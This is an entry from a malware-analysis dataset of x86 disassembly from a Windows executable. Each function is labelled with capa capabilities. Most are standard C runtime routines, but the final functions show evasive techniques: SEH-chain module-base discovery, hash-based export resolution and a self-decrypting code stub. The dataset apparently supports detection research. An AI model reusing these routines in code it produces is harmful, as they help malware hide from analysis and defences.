joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d59
Capabilities:
Terminate process

Disassembly:
push 8
push 0x40e970
call fcn.00406c48
push 8
call fcn.00409d9b
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x412e94], esi
jne 0x405d8d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x412e90], esi
mov al, byte [ebp + 0x10]
mov byte [0x412e8c], al
cmp dword [ebp + 0xc], edi
jne 0x405dd7
cmp dword [0x4147a8], edi
je 0x405dc7
mov eax, dword [0x4147a4]
sub eax, 4
mov dword [0x4147a4], eax
cmp eax, dword [0x4147a8]
jb 0x405dc7
mov eax, dword [eax]
cmp eax, edi
je 0x405da8
call eax
jmp 0x405da8
push 0x41102c
mov eax, 0x411024
call fcn.00405cd7
pop ecx
push 0x411038
mov eax, 0x411030
call fcn.00405cd7
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x405e08
cmp dword [ebp + 0x10], edi
jne 0x405e16
mov dword [0x412e94], esi
push dword [ebp + 8]
call fcn.00405c95
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x405e15
push 8
call fcn.00409ce6
pop ecx
ret
call fcn.00406c83
ret

Function at 0x405e5c
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x412240]
mov ecx, dword [ebp + 0x98]
push ebx
xor eax, ebp
push esi
mov dword [ebp + 0x8c], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x412260]
je 0x405e93
inc eax
cmp eax, 0x13
jb 0x405e84
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x412260]
jne 0x405fb6
mov eax, dword [0x412e4c]
cmp eax, 1
je 0x405f91
cmp eax, edx
jne 0x405ec3
cmp dword [0x412238], 1
je 0x405f91
cmp ecx, 0xfc
je 0x405fb6
push 0x104
lea eax, [ebp - 0x7c]
push eax
push edx
mov byte [ebp + 0x88], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405ef9
lea eax, [ebp - 0x7c]
push str._program_name_unknown_
push eax
call fcn.0040ab60
pop ecx
pop ecx
lea edi, [ebp - 0x7c]
mov eax, edi
push eax
call fcn.0040ad90
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x405f2d
mov eax, edi
push eax
call fcn.0040ad90
mov edi, eax
lea eax, [ebp - 0x7c]
sub eax, 0x3b
push 3
add edi, eax
push 0x40ed68
push edi
call fcn.0040ac60
add esp, 0x10
push edi
call fcn.0040ad90
push dword [esi + 0x412264]
mov ebx, eax
call fcn.0040ad90
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00405510
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.0040ab60
push edi
push ebx
call fcn.0040ab70
push 0x40ed48
push ebx
call fcn.0040ab70
push dword [esi + 0x412264]
push ebx
call fcn.0040ab70
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.0040aa65
add esp, 0x2c
jmp 0x405fb6
push edx
lea eax, [ebp - 0x80]
push eax
lea esi, [esi + 0x412264]
push dword [esi]
call fcn.0040ad90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.00404dee
add ebp, 0x90
leave
ret
Function at 0x406480
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x4130ac]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jne 0x4064c9
call ebp
mov esi, eax
cmp esi, ebx
je 0x4064af
mov dword [0x4130ac], 1
jmp 0x4064ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4064c4
push 2
pop eax
mov dword [0x4130ac], eax
jmp 0x4064c9
mov eax, dword [0x4130ac]
cmp eax, 1
jne 0x406526
cmp esi, ebx
jne 0x4064e1
call ebp
mov esi, eax
cmp esi, ebx
jne 0x4064e1
xor eax, eax
jmp 0x4065cd
cmp word [esi], bx
mov eax, esi
je 0x4064f6
inc eax
inc eax
cmp word [eax], bx
jne 0x4064e8
inc eax
inc eax
cmp word [eax], bx
jne 0x4064e8
sub eax, esi
inc eax
inc eax
mov ebp, eax
push ebp
call fcn.0040801a
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x406519
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
jmp 0x4065cd
push ebp
push esi
push edi
call fcn.00405810
add esp, 0xc
jmp 0x40650b
cmp eax, 2
je 0x40652f
cmp eax, ebx
jne 0x4064da
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebp, eax
cmp ebp, ebx
je 0x4064da
cmp byte [ebp], bl
mov esi, ebp
je 0x406565
push ebx
push ebx
push 0xffffffffffffffff
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x4064da
push esi
add edi, eax
call fcn.0040ad90
lea esi, [esi + eax + 1]
cmp byte [esi], bl
pop ecx
jne 0x406542
inc edi
lea eax, [edi + edi]
push eax
mov dword [esp + 0x18], edi
call fcn.0040801a
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x4065de
cmp byte [ebp], bl
mov edi, ebp
mov esi, eax
je 0x4065bf
mov ecx, dword [esp + 0x14]
mov eax, esi
sub eax, dword [esp + 0x10]
sar eax, 1
sub ecx, eax
push ecx
push esi
push 0xffffffffffffffff
push edi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x4065d4
push edi
call fcn.0040ad90
push esi
lea edi, [edi + eax + 1]
call fcn.00404da7
cmp byte [edi], bl
pop ecx
pop ecx
lea esi, [esi + eax*2 + 2]
jne 0x406585
push ebp
mov word [esi], bx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push dword [esp + 0x10]
call fcn.00405c24
pop ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x4064da
Function at 0x4065ea
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x4130b0]
push ebp
xor ebp, ebp
cmp eax, ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jne 0x40662a
call esi
test eax, eax
je 0x40660f
mov dword [0x4130b0], 1
jmp 0x40662f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x406626
mov dword [0x4130b0], 2
jmp 0x406638
xor eax, eax
jmp 0x406686
cmp eax, 1
jne 0x406633
call esi
jmp 0x406686
cmp eax, 2
jne 0x406626
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebp
push ebp
push 0xffffffffffffffff
mov ebx, eax
push ebx
push 1
push ebp
call edi
mov esi, eax
cmp esi, ebp
je 0x40667e
lea eax, [esi + esi]
push eax
call fcn.0040801a
mov ebp, eax
test ebp, ebp
pop ecx
je 0x40667e
push esi
push ebp
push 0xffffffffffffffff
push ebx
push 1
push 0
call edi
test eax, eax
jne 0x406682
push ebp
call fcn.00405c24
pop ecx
xor eax, eax
jmp 0x406684
mov eax, ebp
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x409467
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x40963d
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x4146a0]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x40963d
test cl, 0x48
je 0x4094d2
cmp byte [eax + 5], 0xa
je 0x4094d2
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x409524
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x40950c
call fcn.00407c1b
mov dword [eax], 9
call fcn.00407c24
mov dword [eax], esi
jmp 0x40951c
cmp eax, 0x6d
je 0x40963d
push eax
call fcn.00407c2d
pop ecx
or eax, 0xffffffff
jmp 0x40963f
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x409638
test eax, eax
je 0x40954b
cmp byte [ebx], 0xa
jne 0x40954b
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x409554
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x409632
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x409622
cmp al, 0xd
je 0x409586
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x409614
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x4095a0
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x40959b
add dword [ebp + 0x10], 2
jmp 0x4095f4
mov dword [ebp + 0x10], eax
jmp 0x409610
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4095c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x409610
cmp dword [ebp - 0xc], 0
je 0x409610
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x4095e9
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x4095f4
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x409613
cmp ebx, dword [ebp + 0xc]
jne 0x4095f9
cmp byte [ebp - 1], 0xa
jne 0x4095f9
mov byte [ebx], 0xa
jmp 0x409613
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040c409
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x409614
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x40956a
jmp 0x409632
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x409632
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x40963f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4096ef
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a4]
sub esp, 0x424
mov eax, dword [0x412240]
xor ecx, ecx
xor eax, ebp
cmp dword [ebp + 0x3b4], ecx
push edi
mov edi, dword [ebp + 0x3b0]
mov dword [ebp + 0x3a0], eax
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], ecx
jne 0x40972b
xor eax, eax
jmp 0x409895
mov eax, dword [ebp + 0x3ac]
push ebx
mov ebx, dword [ebp + 0x3ac]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x4146a0]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x409769
push 2
push ecx
push ecx
push dword [ebp + 0x3ac]
call fcn.0040c409
add esp, 0x10
xor ecx, ecx
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x409803
cmp dword [ebp + 0x3b4], ecx
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x68], ecx
jbe 0x409866
jmp 0x40978d
xor ecx, ecx
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x64]
cmp ecx, dword [ebp + 0x3b4]
jae 0x4097c8
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x4097b9
inc dword [ebp - 0x78]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x6c]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0x400
jl 0x409799
mov edi, eax
lea eax, [ebp - 0x64]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x409827
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x409830
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x7c]
cmp eax, dword [ebp + 0x3b4]
jb 0x40978b
jmp 0x409830
push ecx
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b4]
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x409827
mov eax, dword [ebp - 0x80]
and dword [ebp - 0x68], 0
mov dword [ebp - 0x74], eax
jmp 0x409830
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x409890
cmp dword [ebp - 0x68], eax
je 0x409863
push 5
pop esi
cmp dword [ebp - 0x68], esi
jne 0x409858
call fcn.00407c1b
mov dword [eax], 9
call fcn.00407c24
mov dword [eax], esi
jmp 0x40988b
push dword [ebp - 0x68]
call fcn.00407c2d
pop ecx
jmp 0x40988b
mov edi, dword [ebp - 0x7c]
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x409878
cmp byte [edi], 0x1a
jne 0x409878
xor eax, eax
jmp 0x409893
call fcn.00407c1b
mov dword [eax], 0x1c
call fcn.00407c24
and dword [eax], 0
or eax, 0xffffffff
jmp 0x409893
sub eax, dword [ebp - 0x78]
pop esi
pop ebx
mov ecx, dword [ebp + 0x3a0]
xor ecx, ebp
pop edi
call fcn.00404dee
add ebp, 0x3a4
leave
ret
Function at 0x40aa65
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x413230], ebx
push esi
push edi
jne 0x40aae5
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40ab20
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x413230], eax
je 0x40ab20
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x413234], eax
call esi
cmp dword [0x412e54], 2
mov dword [0x413238], eax
jne 0x40aae5
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x413240], eax
je 0x40aae5
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x41323c], eax
mov eax, dword [0x41323c]
test eax, eax
je 0x40ab2a
call eax
test eax, eax
je 0x40ab11
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x413240]
test eax, eax
je 0x40ab11
test byte [ebp - 8], 1
jne 0x40ab2a
cmp dword [0x412e60], 4
jb 0x40ab24
or byte [ebp + 0x12], 0x20
jmp 0x40ab49
xor eax, eax
jmp 0x40ab59
or byte [ebp + 0x12], 4
jmp 0x40ab49
mov eax, dword [0x413234]
test eax, eax
je 0x40ab49
call eax
mov ebx, eax
test ebx, ebx
je 0x40ab49
mov eax, dword [0x413238]
test eax, eax
je 0x40ab49
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x413230]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b577
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40b5a5
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40b5ac
cmp ebx, dword [eax + 4]
jae 0x40b5ac
xor eax, eax
jmp 0x40b79c
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40b5bd
xor eax, eax
inc eax
jmp 0x40b79b
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40b5d3
cmp ecx, edx
jae 0x40b718
cmp dword [eax + 4], 0
je 0x40b5dc
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40b5c4
cmp dword [ebp + 8], 0
je 0x40b5fe
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40b718
cmp eax, esi
jae 0x40b718
mov eax, dword [0x413258]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40b623
cmp dword [esi*4 + 0x413260], edi
je 0x40b71c
inc esi
cmp esi, eax
jl 0x40b611
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40b798
cmp dword [ebp - 8], 0x1000000
jne 0x40b798
test byte [ebp - 0xc], 0xcc
je 0x40b6a1
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40b798
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40b798
cmp word [eax + 0x18], 0x10b
jne 0x40b798
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40b798
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40b6a1
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40b6a1
test byte [ecx + 0x27], 0x80
jne 0x40b718
push 1
push 0x4132a0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x40b5b5
mov ecx, dword [0x413258]
test ecx, ecx
mov edx, ecx
jle 0x40b6d5
lea eax, [ecx*4 + 0x41325c]
cmp dword [eax], edi
je 0x40b6d5
dec edx
sub eax, 4
test edx, edx
jg 0x40b6c9
test edx, edx
jne 0x40b706
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40b6e2
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40b6fa
lea eax, [edx*4 + 0x413260]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40b6e8
cmp ecx, 0x10
jge 0x40b706
inc ecx
mov dword [0x413258], ecx
push 0
push 0x4132a0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x40b5b5
xor eax, eax
jmp 0x40b79b
test esi, esi
jle 0x40b5b5
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x4132a0
call ebx
test eax, eax
jne 0x40b5b5
cmp dword [esi*4 + 0x413260], edi
je 0x40b772
mov eax, dword [0x413258]
lea esi, [eax - 1]
test esi, esi
jl 0x40b760
cmp dword [esi*4 + 0x413260], edi
je 0x40b75c
dec esi
jns 0x40b750
test esi, esi
jge 0x40b770
cmp eax, 0x10
jge 0x40b76b
inc eax
mov dword [0x413258], eax
lea esi, [eax - 1]
jmp 0x40b772
je 0x40b78a
xor ecx, ecx
test esi, esi
jl 0x40b78a
lea eax, [ecx*4 + 0x413260]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40b778
push 0
push 0x4132a0
call ebx
jmp 0x40b5b5
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d0af
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00405510
mov eax, dword [0x412240]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00409956
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x40d1e4
push 2
push esi
push dword [ebp + 8]
call fcn.00409956
add esp, 0xc
cmp eax, ebx
je 0x40d1e4
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x40d184
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.00409df0
push 0x8000
push dword [ebp + 8]
call fcn.0040d8aa
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x40d13a
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.004096ef
add esp, 0xc
cmp eax, 0xffffffff
je 0x40d15a
sub edi, eax
test edi, edi
jg 0x40d132
jmp 0x40d172
call fcn.00407c24
cmp dword [eax], 5
jne 0x40d16f
call fcn.00407c1b
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.0040d8aa
pop ecx
pop ecx
jmp 0x40d1cc
jge 0x40d1cc
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409956
push dword [ebp + 8]
call fcn.0040b89b
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x40d1cc
call fcn.00407c1b
mov dword [eax], 0xd
call fcn.00407c24
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.00409956
add esp, 0xc
mov eax, esi
pop edi
jmp 0x40d1e6
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404dee
leave
ret
Function at 0x40d51e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00405510
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40d5b9
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x412e54]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x40d5b9
cmp eax, 1
je 0x40d5da
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40d5b9
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x40d586
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x40d5b5
xor eax, eax
inc eax
jmp 0x40d5f9
cmp edi, eax
jae 0x40d5bd
xor eax, eax
jmp 0x40d5f9
cmp eax, esi
jae 0x40d5c4
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x412e54]
jmp 0x40d5dd
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x48a3b2
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x48a3c2
mov esi, eax
jmp 0x48a3b8
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x48a3da
sub edi, 0x10000
jmp 0x48a3cb
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x48a3e8
jmp 0x48a3cb
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x48a3ee
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x48a40d
cmp eax, dword [esp + 0x28]
je 0x48a424
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x48a404
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx